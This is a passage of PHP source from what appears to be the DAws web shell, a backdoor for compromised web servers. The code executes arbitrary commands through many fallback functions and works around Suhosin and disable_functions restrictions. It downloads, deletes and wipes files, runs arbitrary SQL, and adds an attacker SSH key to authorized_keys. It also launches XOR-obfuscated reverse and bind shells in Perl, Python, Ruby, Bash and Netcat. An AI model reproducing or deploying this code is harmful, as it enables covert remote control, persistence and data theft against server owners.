867 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
868 $it = new ArrayIterator(array(""));
869 iterator_apply($it, $function, array($arg1));
870 } else if (disabled_php("register_tick_function") == False) {
871 declare(ticks=1);
872 register_tick_function($function, $arg1);
873 unregister_tick_function($function);
874 } else if (disabled_php("array_map") == False) {
875 array_map($function, array($arg1));
876 } else if (disabled_php("array_walk") == False) {
877 $x = array($arg1, $arg2, $arg3);
878 array_walk($x, $function);
879 } else if (disabled_php("array_filter") == False) {
880 array_filter(array($arg1), $function);
881 } else if (disabled_php("register_shutdown_function")) {
882 register_shutdown_function($function, $arg1);
883 }
884 }
885 } else {
886 if (disabled_php("call_user_func") == False) {
887 $return_value = call_user_func($function);
888 } else if (disabled_php("call_user_func_array") == False) {
889 $return_value = call_user_func_array($function, array());
890 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
891 $ref_function = new ReflectionFunction($function);
892 $handle = $ref_function->invoke();
893 if (is_string($handle)) {
894 $return_value = $handle;
895 } else {
896 $return_value = fread($handle, 4096);
897 pclose($handle);
898 }
899 } else if ($output_needed == False) {
900 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
901 $it = new ArrayIterator(array(""));
902 iterator_apply($it, $function, array());
903 } else if (disabled_php("register_tick_function") == False) {
904 declare(ticks=1);
905 register_tick_function($function);
906 unregister_tick_function($function);
907 } else if (disabled_php("array_map") == False) {
908 array_map($function, array());
909 } else if (disabled_php("array_walk") == False) {
910 $x = array();
911 array_walk($x, $function);
912 } else if (disabled_php("array_filter") == False) {
913 array_filter(array(), $function);
914 } else if (disabled_php("register_shutdown_function")) {
915 register_shutdown_function($function);
916 }
917 }
918 }
919 return $return_value;
920}
921
922function execute_command($command, $software_check = False) { //this is also used to check for installed softwares
923 if ($software_check == True) {
924 if (($_SESSION["windows"]) == True) {
925 $command = "where $command";
926 } else {
927 $command = "which $command";
928 }
929 }
930
931 if (disabled_php("system") == False) { //not disabled by disable_functions
932 ob_start();
933 if (disabled_suhosin("system") == False) { //not disabled by Suhosin
934 system($command);
935 } else { //disabled by Suhosin
936 bypass_suhosin("system", $command, null, null, null, null, False);
937 }
938 $return_value = ob_get_contents();
939 ob_end_clean();
940 } else if (disabled_php("passthru") == False) {
941 ob_start();
942 if (disabled_suhosin("passthru") == False) {
943 passthru($command);
944 } else {
945 bypass_suhosin("passthru", $command, null, null, null, null, False);
946 }
947 $return_value = ob_get_contents();
948 ob_end_clean();
949 } else if (disabled_php("shell_exec") == False) {
950 if (disabled_suhosin("shell_exec") == False) {
951 $return_value = shell_exec($command);
952 } else {
953 $return_value = bypass_suhosin("shell_exec", $command);
954 }
955 } else if (disabled_php("exec") == False) {
956 if (disabled_suhosin("exec") == False) {
957 $return_value = exec($command);
958 } else {
959 $return_value = bypass_suhosin("exec", $command);
960 }
961 } else if (disabled_php("popen") == False) {
962 if (disabled_suhosin("popen") == False) {
963 $handle = popen($command, "r");
964 } else {
965 $handle = bypass_suhosin("popen", $command, "r");
966 }
967 $return_value = fread($handle, 4096);
968 pclose($handle);
969 } else if (disabled_php("proc_open") == False) {
970 if (disabled_suhosin("proc_open") == False) {
971 $process = proc_open(
972 $command,
973 array(
974 0 => array("pipe", "r"),
975 1 => array("pipe", "w"),
976 2 => array("pipe", "w"),
977 ),
978 $pipes
979 );
980 } else { //this gave me a headache so I will check it out later
981 /*
982 echo "proc_open-suhosin";
983 $process = bypass_suhosin(
984 "proc_open",
985 $command,
986 array(
987 0 => array("pipe", "r"),
988 1 => array("pipe", "w"),
989 2 => array("pipe", "w"),
990 ),
991 $pipes);*/
992 }
993
994 $stdout = stream_get_contents($pipes[1]);
995 $stderr = stream_get_contents($pipes[2]);
996 fclose($pipes[1]);
997 fclose($pipes[2]);
998 proc_close($process);
999
1000 if ($stderr == "") {
1001 $return_value = $stdout;
1002 } else {
1003 $return_value = $stderr;
1004 }
1005 } else if ((isset($_SESSION["cgi"])) && ($_SESSION["cgi"] == True)) {
1006 $return_value = url_get_contents($_SESSION["cgi_url"]."?command=".base64encoding($command));
1007 } else if ((isset($_SESSION["shsh"])) && ($_SESSION["shsh"] == True)) {
1008 $return_value = shsh($command);
1009 } else if ((isset($_SESSION["shsh2"])) && ($_SESSION["shsh2"] == True)) {
1010 $return_value = shsh2($command);
1011 } else if ((isset($_SESSION["ssh"])) && ($_SESSION["ssh"] == True)) {
1012 $return_value = execute_ssh($command);
1013 } else {
1014 $return_value = "";
1015 }
1016
1017 if ($software_check == True) {
1018 if (($return_value != "") && (strpos($return_value, "Could not find files") === False)) {
1019 return True;
1020 } else {
1021 return False;
1022 }
1023 } else {
1024 return $return_value;
1025 }
1026}
1027
1028function execute_script($code, $location, $extension, $output_needed = False) {
1029 $filename = $_SESSION["daws_directory"]."/".time().".".$extension;
1030 write_to_file($filename, $code);
1031
1032 $command = $location." ".$filename;
1033
1034 //run the script in background and redirect its output to null
1035 if ($output_needed == False) { //we have to make sure that the user doesn't care about the output since we're redirecting it to null
1036 if ($_SESSION["windows"] == True) {
1037 $command = "START /B $command > null";
1038 } else if (execute_command("nohup", True)) { //use nohup if installed
1039 $command = "nohup $command > /dev/null 2>&1 &";
1040 }
1041 }
1042
1043 return execute_command($command);
1044}
1045
1046function file_get_contents_extended($filename, $is_url = False, $context = null) { //same thing was done for multiple other functions, the point is to bypass Suhosin using less code lol
1047 if (disabled_php("file_get_contents") == False) {
1048 if ((($is_url == True) && (ini_get("allow_url_fopen"))) || ($is_url == False)) {
1049 if (disabled_suhosin("file_get_contents") == False) {
1050 return file_get_contents($filename, False, $context);
1051 } else {
1052 return bypass_suhosin("file_get_contents", $filename, False, $context);
1053 }
1054 }
1055 } else {
1056 return False;
1057 }
1058}
1059
1060function fopen_extended($filename, $type, $is_url=False, $context=null) {
1061 if (disabled_php("fopen") == False) {
1062 if ((($is_url == True) && (get_php_ini("allow_url_fopen"))) || ($is_url == False)) {
1063 if (disabled_suhosin("fopen") == False) {
1064 if ($context != null) { //it will cause an error if we don't do that, unlike file_get_contents
1065 return fopen($filename, $type, False, $context);
1066 } else {
1067 return fopen($filename, $type);
1068 }
1069 } else {
1070 if ($context != null) {
1071 return bypass_suhosin("fopen", $filename, $type, False, $context);
1072 } else {
1073 return bypass_suhosin("fopen", $filename, $type);
1074 }
1075 }
1076 }
1077 } else {
1078 return False;
1079 }
1080}
1081
1082function file_put_contents_extended($file_name, $input) {
1083 if (disabled_php("file_put_contents") == False) {
1084 if (disabled_suhosin("file_put_contents") == False) {
1085 file_put_contents($file_name, $input);
1086 } else {
1087 bypass_suhosin("file_put_contents", $file_name, $input, null, null, null, False);
1088 }
1089 } else {
1090 return False;
1091 }
1092
1093 return True;
1094}
1095
1096function include_php($filename) {
1097 if (disabled_php("include") == False) {
1098 if (disabled_suhosin("include") == False) {
1099 include($filename);
1100 } else {
1101 bypass_suhosin("include", $filename, null, null, null, null, False);
1102 }
1103 unlink($filename);
1104 } else if (disabled_php("include_once") == False) {
1105 if (disabled_suhosin("include_once") == False) {
1106 include_once($filename);
1107 } else {
1108 bypass_suhosin("include_once", $filename, null, null, null, null, False);
1109 }
1110 unlink($filename);
1111 } else if (disabled_php("require") == False) {
1112 if (disabled_suhosin("require") == False) {
1113 require($filename);
1114 } else {
1115 bypass_suhosin("require", $filename, null, null, null, null, False);
1116 }
1117 unlink($filename);
1118 }
1119 else if (disabled_php("require_once") == False) {
1120 if (disabled_suhosin("require_once") == False) {
1121 require_once($filename);
1122 } else {
1123 bypass_suhosin("require_once", $filename, null, null, null, null, False);
1124 }
1125 unlink($filename);
1126 }
1127}
1128
1129function execute_php($code, $output_needed) { //eval and its substitutes
1130 if (!get_php_ini("suhosin.executor.disable_eval")) { //we use eval since it's not blocked by suhosin
1131 eval($code);
1132 } else if ((disabled_php("include") == False) || (disabled_php("include_once") == False) || (disabled_php("require") == False) || (disabled_php("require_once") == False)) { //let the bodies hit the floor!
1133 $code = "<?php\n".$code."\n?>";
1134 $filename = $_SESSION["daws_directory"]."/".time().".php";
1135 write_to_file($filename, $code);
1136
1137 include_php($filename);
1138 }
1139 else {
1140 $code = "<?php\n".$code."\n?>";
1141
1142 echo execute_script($code, $_SESSION["php"], "php", $output_needed);
1143 }
1144}
1145
1146function get_permissions($location) { //used to get the permissions of everything in the file manager
1147//this whole function was taken from http://php.net/manual/en/function.fileperms.php
1148 $perms = fileperms($location);
1149
1150 if (($perms & 0xC000) == 0xC000)
1151 $info = 's';
1152 elseif (($perms & 0xA000) == 0xA000)
1153 $info = 'l';
1154 elseif (($perms & 0x8000) == 0x8000)
1155 $info = '-';
1156 elseif (($perms & 0x6000) == 0x6000)
1157 $info = 'b';
1158 elseif (($perms & 0x4000) == 0x4000)
1159 $info = 'd';
1160 elseif (($perms & 0x2000) == 0x2000)
1161 $info = 'c';
1162 elseif (($perms & 0x1000) == 0x1000)
1163 $info = 'p';
1164 else
1165 $info = 'u';
1166
1167 $info .= (($perms & 0x0100) ? 'r' : '-');
1168 $info .= (($perms & 0x0080) ? 'w' : '-');
1169 $info .= (($perms & 0x0040) ?
1170 (($perms & 0x0800) ? 's' : 'x' ) :
1171 (($perms & 0x0800) ? 'S' : '-'));
1172
1173 $info .= (($perms & 0x0020) ? 'r' : '-');
1174 $info .= (($perms & 0x0010) ? 'w' : '-');
1175 $info .= (($perms & 0x0008) ?
1176 (($perms & 0x0400) ? 's' : 'x' ) :
1177 (($perms & 0x0400) ? 'S' : '-'));
1178
1179 $info .= (($perms & 0x0004) ? 'r' : '-');
1180 $info .= (($perms & 0x0002) ? 'w' : '-');
1181 $info .= (($perms & 0x0001) ?
1182 (($perms & 0x0200) ? 't' : 'x' ) :
1183 (($perms & 0x0200) ? 'T' : '-'));
1184
1185 return $info;
1186}
1187
1188//ordering our file manager by alpha order and dirs come first.
1189function sortRows($data) {
1190 $size = count($data);
1191
1192 for ($i = 0; $i < $size; ++$i) {
1193 $row_num = findSmallest($i, $size, $data);
1194 $tmp = $data[$row_num];
1195 $data[$row_num] = $data[$i];
1196 $data[$i] = $tmp;
1197 }
1198
1199 return ($data);
1200}
1201
1202function findSmallest($i, $end, $data) {
1203 $min['pos'] = $i;
1204 $min['value'] = $data[$i]['data'];
1205 $min['dir'] = $data[$i]['dir'];
1206 for (; $i < $end; ++$i) {
1207 if ($data[$i]['dir']) {
1208 if ($min['dir']) {
1209 if ($data[$i]['data'] < $min['value']) {
1210 $min['value'] = $data[$i]['data'];
1211 $min['dir'] = $data[$i]['dir'];
1212 $min['pos'] = $i;
1213 }
1214 } else {
1215 $min['value'] = $data[$i]['data'];
1216 $min['dir'] = $data[$i]['dir'];
1217 $min['pos'] = $i;
1218 }
1219 } else {
1220 if (!$min['dir'] && $data[$i]['data'] < $min['value']) {
1221 $min['value'] = $data[$i]['data'];
1222 $min['dir'] = $data[$i]['dir'];
1223 $min['pos'] = $i;
1224 }
1225 }
1226 }
1227
1228 return ($min['pos']);
1229}
1230
1231if (isset($_POST['download'])) { //downloads a file, what else could it be...
1232 $file = unxor_this($_POST['download']);
1233 header('Content-Description: File Transfer');
1234 header('Content-Type: application/octet-stream');
1235 header('Content-Disposition: attachment; filename='.basename($file));
1236 header('Expires: 0');
1237 header('Cache-Control: must-revalidate');
1238 header('Pragma: public');
1239 header('Content-Length: ' . filesize($file));
1240 readfile($file);
1241} else if (isset($_POST['command'])) { //executes a command
1242 $GLOBALS["command"] = str_replace("\n", "<br/>", execute_command(unxor_this($_POST["command"])));
1243} else if (isset($_POST['del'])) { //deletes a file or a directory
1244 $delete = unxor_this($_POST['del']);
1245 if (is_dir($delete)) {
1246 if ($_SESSION["windows"] == True) {
1247 execute_command("rmdir $delete /s");
1248 } else {
1249 execute_command("rm -r $delete");
1250 }
1251 } else {
1252 unlink($delete);
1253 }
1254} else if (isset($_POST['wipe'])) { //wipes a file
1255 //nothing badass really, we'll just replace all the old bytes with null bytes
1256 $wipe = unxor_this($_POST['wipe']);
1257 $file_size = filesize($wipe);
1258
1259 $fp = fopen_extended($wipe, "rb+");
1260 if ($fp != False) {
1261 $fwrite = fwrite($fp, str_repeat("\0", $file_size), $file_size);
1262 fclose($fp);
1263 }
1264} else if (isset($_POST['edit'])) { //edits a file, I know, that's a badass comment.
1265 $content = unxor_this($_POST['edit']);
1266 $location = unxor_this($_POST['location']);
1267
1268 write_to_file($location, $content);
1269
1270 $_POST['dir'] = $_POST['location'];
1271} else if (isset($_POST['zip'])) { //zips a folder; multiple methods
1272 $location = unxor_this($_POST['zip']);
1273
1274 if ((version_compare(PHP_VERSION, '5.2.0') >= 0) && (installed_php(null, "ZipArchive") == True)) { //best way
1275 $zip = new ZipArchive();
1276 $zip->open($_SESSION["daws_directory"]."/".basename($location).'.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
1277
1278 $files = new RecursiveIteratorIterator(
1279 new RecursiveDirectoryIterator($location),
1280 RecursiveIteratorIterator::LEAVES_ONLY
1281 );
1282
1283 foreach ($files as $name => $file) {
1284 if (!$file->isDir()) {
1285 $filePath = $file->getRealPath();
1286 $relativePath = substr($filePath, strlen($location) + 1);
1287
1288 $zip->addFile($filePath, $relativePath);
1289 }
1290 }
1291
1292 $zip->close();
1293 } else { //system commands
1294 if ($_SESSION["windows"] == True) {
1295 if (strpos(execute_command("powershell.exe", True), "Windows PowerShell")) { //powershell gets the job done
1296 execute_command("powershell.exe -nologo -noprofile -command \"& { Add-Type -A 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::CreateFromDirectory('$location', '".$location.".zip'); }\"");
1297 } else { //vbs script it is
1298 $code = 'ArchiveFolder "'.$_SESSION["daws_directory"]."/".basename($location).'.zip", "' . $location . '"'.unxor_this("NxoWQzECBQEFEwEpGw8UFRRJRB8NHzIKHBVKSR8jCwMQBgJZbGNMRURPIwoEGEYqHgAFGxEsEhoDChhNRjwXERkAEgACAkopHQ8VIx8aGAAJIBYJFRMSS0VvRE9UQ1BQRkkWDBQpHQ8VUFtJQiIBGzUBAx8KHBgANA4ACz4RCwxEHw0fMgocFU9jTEVET1RDUFAVLwMJAAoGQ01QSC4JESUNBwwcBRIMPAQQBzoCHRVOGioKCAsREVl6bElMRURPVENQJw8dBEVKLAYGEQQDPQkdECkdDxVYHAAcIw0DEU9QJBQcCUxuT1RDUFBGSUxFRE9UTScCDx0JRScHBktIQE9JSkUnBwZLR0VPSUpFJwcGS0VZRk9MJgwdXFVZUEBJPxEWBhoEWEFeRUwGDB1cU1lZbElMRURPVENQNQgNTDINGxxpUFBGSSkLAE8jCgQYbGNMRURPIwoEGEYqHgAFGxEsEhoDChhNRjwcBhwcSCgcFQgGFwIEGQkHTkxuT1RDUFBGSUxLKg4ZBiMABwoJTR4GBCUZHANAQiYLHw0rFQIDSUIrBQIRMAARBQxEFiIAGAcVAk9HJREBAgdpelBGSUxFRE9UJx9QMwcYDAhPWi0RHQM6HAQHClwZGQAgAAAATUE9FxUdFUcvChEBAENNUDljTEVET1RDUFBGSUxFRE9UQ1BeKAgBADcfFQAVWBUvAwkACgZKXjkSDAEWSiwbFh4EbElMRURPVENQUEZJTDI3DAYKAARIOgAAAR9UUkBAVklmRURPVENQUEYlAwoUZVRDUFAjBwhFMwYAC3p6IwcIRTcaFg==", "dotcppfile");
1299 write_to_file($_SESSION["daws_directory"]."/zip_folder.vbs", $code);
1300 execute_command("cscript //nologo ".$_SESSION["daws_directory"]."/zip_folder.vbs");
1301 }
1302 } else {
1303 execute_command("zip -r ".$_SESSION["daws_directory"]."/".basename($location).".zip $location");
1304 }
1305 }
1306} else if (isset($_POST['new_name'])) { //renames a file
1307 $old_name = unxor_this($_POST['old_name']);
1308 $new_name = unxor_this($_POST['dir'])."/".unxor_this($_POST['new_name']);
1309
1310 rename($old_name, $new_name);
1311} else if (isset($_POST['new_chmod'])) { //chmods a file
1312 $file_name = unxor_this($_POST['file_name']);
1313
1314 @chmod($file_name, octdec(intval(unxor_this($_POST['new_chmod'])))); //we try to chmod it with error supression
1315} else if (isset($_FILES["file_upload"])) { //uploads multiple files
1316 $file_ary = array();
1317 $file_count = count($_FILES["file_upload"]["name"]);
1318 $file_keys = array_keys($_FILES["file_upload"]);
1319
1320 for ($i=0; $i<$file_count; $i++) {
1321 foreach ($file_keys as $key) {
1322 $file_ary[$i][$key] = $_FILES["file_upload"][$key][$i];
1323 }
1324 }
1325
1326 foreach ($file_ary as $file) {
1327 $target_file = $_SESSION["daws_directory"]."/".basename($file["name"]);
1328 move_uploaded_file($file["tmp_name"], $target_file);
1329 }
1330} else if (isset($_POST["link_download"])) { //downloads a file from a direct link
1331 $link = unxor_this($_POST["link_download"]);
1332 $location = $_SESSION["daws_directory"]."/".basename($link);
1333
1334 $output = url_get_contents($link);
1335 write_to_file($location, $output);
1336} else if (isset($_POST["mkfile"])) { //creates a file
1337 $location = unxor_this($_POST["dir"])."/".unxor_this($_POST["mkfile"]);
1338
1339 write_to_file($location, "");
1340} else if (isset($_POST["mkdir"])) { //creates a directory
1341 $location = unxor_this($_POST["dir"])."/".unxor_this($_POST["mkdir"]);
1342
1343 mkdir($location);
1344} else if (isset($_POST["sql_user"])) { //this is basically a sql connection test
1345 $_SESSION["sql_host"] = unxor_this($_POST["sql_host"]);
1346 $_SESSION["sql_user"] = unxor_this($_POST["sql_user"]);
1347 $_SESSION["sql_pass"] = unxor_this($_POST["sql_pass"]);
1348 $_SESSION["sql_database"] = unxor_this($_POST["sql_database"]);
1349
1350 if (installed_php(null, "PDO")) { //used PDO if it's installed
1351 try { //we will use this try to catch PDO errors with an exception
1352 $conn = new PDO("mysql:host=".$_SESSION["sql_host"].";dbname=".$_SESSION["sql_database"], $_SESSION["sql_user"], $_SESSION["sql_pass"]);
1353
1354 $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); //set pdo error mode to exception
1355
1356 $conn = null;
1357
1358 $_SESSION["mysqli"] = True; //success
1359 } catch(PDOException $e) {
1360 $_SESSION["mysqli"] = False;
1361 }
1362 } else {
1363 $link = @mysqli_connect($_SESSION["sql_host"], $_SESSION["sql_user"], $_SESSION["sql_pass"], $_SESSION["sql_database"]);
1364
1365 if (!mysqli_connect_errno()) {
1366 $_SESSION["mysqli"] = True; //success
1367 } else {
1368 $_SESSION["mysqli"] = False;
1369 }
1370
1371 @mysqli_close($link);
1372 }
1373} else if (isset($_POST["sql_execute"])) {
1374 $sql_query = unxor_this($_POST["sql_execute"]);
1375
1376 if (installed_php(null, "PDO")) { //used PDO if it's installed
1377 try { //we will use this try to catch PDO errors with an exception
1378 //reconnecting each time because persistent connections were added in php 5.3 so we simply can't risk it...
1379 $conn = new PDO("mysql:host=".$_SESSION["sql_host"].";dbname=".$_SESSION["sql_database"], $_SESSION["sql_user"], $_SESSION["sql_pass"]);
1380
1381 $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); //set pdo error mode to exception
1382
1383 $sth = $conn->prepare($sql_query);
1384 $sth->execute();
1385
1386 $result = $sth->fetchAll();
1387
1388 $return_value = "";
1389 foreach ($result as $row) {
1390 for ($i = 0; $i < sizeof($row)/2; $i++) {
1391 $return_value .= htmlspecialchars($row[$i])." ";
1392 }
1393 $return_value .= "\n";
1394 }
1395
1396 $conn = null;
1397 } catch(PDOException $e) {
1398 $return_value = $e->getMessage();
1399 }
1400 } else {
1401 $link = mysqli_connect($_SESSION["sql_host"], $_SESSION["sql_user"], $_SESSION["sql_pass"], $_SESSION["sql_database"]);
1402
1403 if ($result = mysqli_query($link, $sql_query)) {
1404 $col_cnt = mysqli_field_count($link);
1405 if ($col_cnt != 0) {
1406 $return_value = "";
1407 while ($row = mysqli_fetch_row($result)) {
1408 for ($i = 0; $i < $col_cnt; $i++) {
1409 $return_value .= htmlspecialchars($row[$i])." ";
1410 }
1411 $return_value .= "\n";
1412 }
1413 mysqli_free_result($result);
1414 } else {
1415 $return_value = "";
1416 }
1417 } else {
1418 $return_value = mysqli_error($link);
1419 }
1420
1421 mysqli_close($link);
1422 }
1423
1424 if (isset($_POST["save_output"])) {
1425 write_to_file($_SESSION["daws_directory"]."/sql_".time(), $return_value);
1426 } else {
1427 $GLOBALS["sql_output"] = $return_value;
1428 }
1429} else if ((isset($_POST["ssh_user"])) && file_exists($_SESSION["daws_directory"]."/AES.php") && file_exists($_SESSION["daws_directory"]."/Base.php") && file_exists($_SESSION["daws_directory"]."/BigInteger.php") && file_exists($_SESSION["daws_directory"]."/Blowfish.php") && file_exists($_SESSION["daws_directory"]."/DES.php") && file_exists($_SESSION["daws_directory"]."/Hash.php") && file_exists($_SESSION["daws_directory"]."/openssl.cnf") && file_exists($_SESSION["daws_directory"]."/Random.php") && file_exists($_SESSION["daws_directory"]."/RC2.php") && file_exists($_SESSION["daws_directory"]."/RC4.php") && file_exists($_SESSION["daws_directory"]."/Rijndael.php") && file_exists($_SESSION["daws_directory"]."/RSA.php") && file_exists($_SESSION["daws_directory"]."/SSH2.php") && file_exists($_SESSION["daws_directory"]."/TripleDES.php") && file_exists($_SESSION["daws_directory"]."/Twofish.php")) {
1430 //finding the right ssh port, the home directory and the user automatically is somehow stupid.
1431 //it will require a lot of work and a lot of code that will force DAws to use multiple functions that could be
1432 //blocked by security systems. Lets not forget that even if all of this succeeded, the collected information
1433 //could be wrong.
1434 //if these values were well provided by the user then this method will have a higher success rate.
1435 $_SESSION["home_dir"] = unxor_this($_POST["home_dir"]); //can be found by using DAws's file manager
1436 $_SESSION["ssh_port"] = unxor_this($_POST["ssh_port"]); //can be found by simple port scan
1437 $_SESSION["ssh_user"] = unxor_this($_POST["ssh_user"]); //can be found by using DAws's file manager as well
1438
1439 //creating the key
1440 include_php($_SESSION["daws_directory"]."/RSA.php"); //this should have been uploaded by the user himself
1441 $rsa = new Crypt_RSA();
1442 $rsa->setPublicKeyFormat(CRYPT_RSA_PUBLIC_FORMAT_OPENSSH); //formatted for OpenSSH
1443 $key = $rsa->createKey(1024);
1444 $rsa->loadKey($key["privatekey"]);
1445
1446 //we have to serialize the rsa object since we want to store it in a session variable for later use
1447 $_SESSION["ssh_rsa"] = serialize($rsa);
1448
1449 if ($_SESSION["windows"] == True) //http://osses.info/openssh.htm (FreeSSHD) will work on it later
1450 {
1451 } else { //http://sshkeychain.sourceforge.net/mirrors/SSH-with-Keys-HOWTO/SSH-with-Keys-HOWTO-4.html (4.4)
1452 $ssh_dir = $_SESSION["home_dir"]."/.ssh";
1453 //authorized_keys not authorized_keys2 because in the new release authorized_keys2 has been removed
1454 //http://marc.info/?l=openssh-unix-dev&m=100508718416162&w=2
1455 $authorized_keys = $_SESSION["home_dir"]."/.ssh/authorized_keys";
1456
1457 if (!file_exists($ssh_dir)) { //.ssh doens't exist
1458 if (is_writable($_SESSION["home_dir"])) { //we can create the .ssh folder
1459 mkdir($ssh_dir);
1460 chmod($ssh_dir, 0700);
1461 $ssh_dir_exists = True;
1462 } else { //we can't create the .ssh folder
1463 $ssh_dir_exists = False;
1464 }
1465 } else { //.ssh already exists
1466 $ssh_dir_exists = True;
1467 }
1468
1469 if ($ssh_dir_exists == True) { //we got a .ssh directory
1470 if (!file_exists($authorized_keys)) { //authorized_keys doens't exist
1471 if (is_writable($ssh_dir)) {
1472 write_to_file($authorized_keys, $key["publickey"]);
1473 chmod($authorized_keys, 0600);
1474
1475 $everything_ready = True;
1476 } else {
1477 $everything_ready = False;
1478 }
1479 } else { //authorized_keys already exists
1480 @chmod($authorized_keys, 0600); //we try to chmod it first with error supression
1481
1482 if ((is_readable($authorized_keys)) && (is_writable($authorized_keys))) {
1483 //not appending with fopen since fopen could be disabled, write_to_file will use multiple other functions.
1484 $output = file_get_contents_extended($authorized_keys);
1485 write_to_file($authorized_keys, $output.$key["publickey"]);
1486
1487 $everything_ready = True;
1488 } else {
1489 $everything_ready = False;
1490 }
1491 }
1492 } else {
1493 $everything_ready = False;
1494 }
1495
1496 if ($everything_ready == True) {
1497 if (execute_ssh("echo dotcppfile") == "dotcppfile") {
1498 $_SESSION["ssh"] = True;
1499 } else {
1500 $_SESSION["ssh"] = False;
1501 }
1502 } else {
1503 $_SESSION["ssh"] = False;
1504 }
1505 }
1506} else if (isset($_POST["reverse_ip"])) { //reverse shells
1507 $rs_lang = unxor_this($_POST["rs_lang"]);
1508
1509 if ($rs_lang == "Perl") {
1510 $shell = "ERwRQyMfBQIJEV9lfkcZAFtLXVdTQURNQF5XS1dvQB8bEQRNUl1YUV9lfhAfEw0MGE03Q1QzNi8vJykxSE8nLDM7OTo4NyEuOU9QFwMdHBcLGxsBCR4HBAlNRhsXE1JZT1Jmbw0JXAAfHggMDxFMPFhDAx8FAg0BAB0rCh5YQhkDFxBDVAoeFRI2DRELAVxHGQBPQEVMbhR+ah8AAwdENjArPS1cUlhPP0dNVH5qHwADB0Q2MCs7NiRcRFdKNkZGT2l5HxYMAk03OzAmIiJKS1JDN01dWHp5AxEJBkxNWwEZHkkaBEVJBlZKS3obUg==";
1511 $location = $_SESSION["perl"];
1512 $extension = "pl";
1513 } else if ($rs_lang == "Python") {
1514 $shell = "DQIEDAIERhoDBg8KAE9QAxMLHBcLDBEQA1xGBh9vbgYEXlJBVF5CVUpfWlJSehYGHhFZW0BXRHpsGkxYRBwbABsVEkcfCgcEERdYAwkKBwAQQTUlLzkoLDhJRBwbABsVEkc/KickKzAkIiMoIUxuHFoAHx4IDA8RTEcdE1xQFgYeEU1GfmkfA0gNGRVWRwdNFhkKDAIKTEZYU1l6CRpCAREfRksDXgAAAAAKAFxKXEFPYwMWSgsBE0JYFUcKDAgKGgxYWUpbRW9uH1ReUAMTCxwXCwwREANeBQgACUw0VkwSGQhGHw1GQ1RBXRlENEU=";
1515 $location = $_SESSION["python"];
1516 $extension = "py";
1517 } else if ($rs_lang == "Ruby") {
1518 $shell = "FgoFFhkCA0lLFgsMHwYEV2xjBRVZTUVRR15WR1xLVU1+Ex8CElRYUVBbfmkWUFtJOCY0PBsAGxUSRwMVAQFcCgBcRhkDFxBGWhcfLw9jCR0BDFQQAAIPBxgDTE1bARkeSRoERUkGVF9WVQJJUkNBC1RRTlZDDU5JAkMSTxZZ";
1519
1520 $location = $_SESSION["ruby"];
1521 $extension = "rb";
1522 } else if ($rs_lang == "Bash") {
1523 $shell = "DR9JQUFCUUdcS1RBRUF6AAkbGFhQW0BXenoDEQkGRFpIXV8UAx9DEQcfW0cZAElNHAoWG34AEQRGVUpQRBNUFBgZCgxMFwEOEEMcGQgMV0UAAFRHHBkIDExXWklBQ05WU1JMAQsBEQ==";
1524
1525 $location = "bash";
1526 $extension = "sh";
1527 }
1528
1529 $ip = unxor_this($_POST["reverse_ip"]);
1530 $port = unxor_this($_POST["reverse_port"]);
1531
1532 $shell = unxor_this($shell, "dotcppfile");
1533 $shell = str_replace("ip=\"127.0.0.1\"", "ip=\"$ip\"", $shell);
1534 $shell = str_replace("port=4444", "port=$port", $shell);
1535
1536 if (isset($_POST["background"])) {
1537 execute_script($shell, $location, $extension);
1538 } else {
1539 execute_script($shell, $location, $extension, True);
1540 }
1541} else if (isset($_POST["bind_port"])) { //bind shells
1542 $bs_lang = unxor_this($_POST["bs_lang"]);
1543
1544 if ($bs_lang == "Perl") {
1545 $shell = "ERwRQyMfBQIJEV9lfkcAHxQdUVFQW0BYenoVBg8OARtcMDUiMCw+SUQuMjw5PiM9QEU3IDcoLyMyOykkKUNUBBUEFhsDEQsNDQ0RHQNBSxEHH1NKWUtsYwUDTA0dDRRYNSw+MyE9WEMDHwUCDQEAHSsKHlhCGQMXEENUCh4VEjYNEQsBXEFBQlFHXEtUQUVBWVlPQGYebmYYCgMEAwdENiE9IiYiXFdZRV5EZX0CExMDGRhNJyM9Jj4kSjopNzIqJkpLemxgAxUBAVwwJDQvJ0BHWkk3Lzk1KD1OTF9lfQwAFQhBPzEgICE3XFJYTy8pLSo6N1JZXWNlChQKGksjJCIsPjdITUpFMzwvLCIxRkZPaXkVHgwPTUZAFgoeXxUBTEgNTV1Yeg0=";
1546 $location = $_SESSION["perl"];
1547 $extension = "pl";
1548 } else if ($bs_lang == "Python") {
1549 $shell = "DQIEDAIERhoDBg8KAE9QAxMLHBcLDBEQA1xGBh9vbh8bEQRNUl1YUW5lB0NNUBUGDw4BG1oQHxMNDBhNFwAXCBUESCgqOi0hMTdcUBUGDw4BG1owPzMtNj8xNio1Lll6FUcODAoLXEtSQVReQlVKX1pSUlxGGQMXEEZdaQNeCgAfEQEBXFZZemwKAwsKQ1QCFBQUSVFFF0EVABMVFh1ETG5lGxBeFBMZXk0HABoNXhYPBQkLC0ddT0BZbAYfSwAaBFFYEwkHAksCBhgGHh9OQEBUTWUbEF4UExleTQcAGg1eFg8FCQsLR11PQllsYxxFWU8HFhIAFAYPABccWgARHApBN0dLDR0NXwMOS0BFRkIdQS1Z";
1550 $location = $_SESSION["python"];
1551 $extension = "py";
1552 } else if ($bs_lang == "Ruby") {
1553 $shell = "FgoFFhkCA0lLFgsMHwYEV2xjHAoWG0lXRERSY2YWAR0CBgJQW0k4JjQ8EREGFRRHAgATTwQMAgRsCgAMAQEAQ01QFQweEwEdWgITEwMZGG9uCgwGE1AVGR4MChsSS1JfBAACShcHVE4ZUFpPSQFEUVJGFFBUV0pAAE1YABwZAwcYSQcDHQYeBEoKAAwBAQBK";
1554
1555 $location = $_SESSION["ruby"];
1556 $extension = "rb";
1557 } else if ($bs_lang == "Netcat") {
1558 $shell = "FAAGF01EUl1Yb24BF0NdHBAZTEEUAAYXUF0DSUMHDQFbEBg=";
1559
1560 $location = "bash";
1561 $extension = "sh";
1562 }
1563
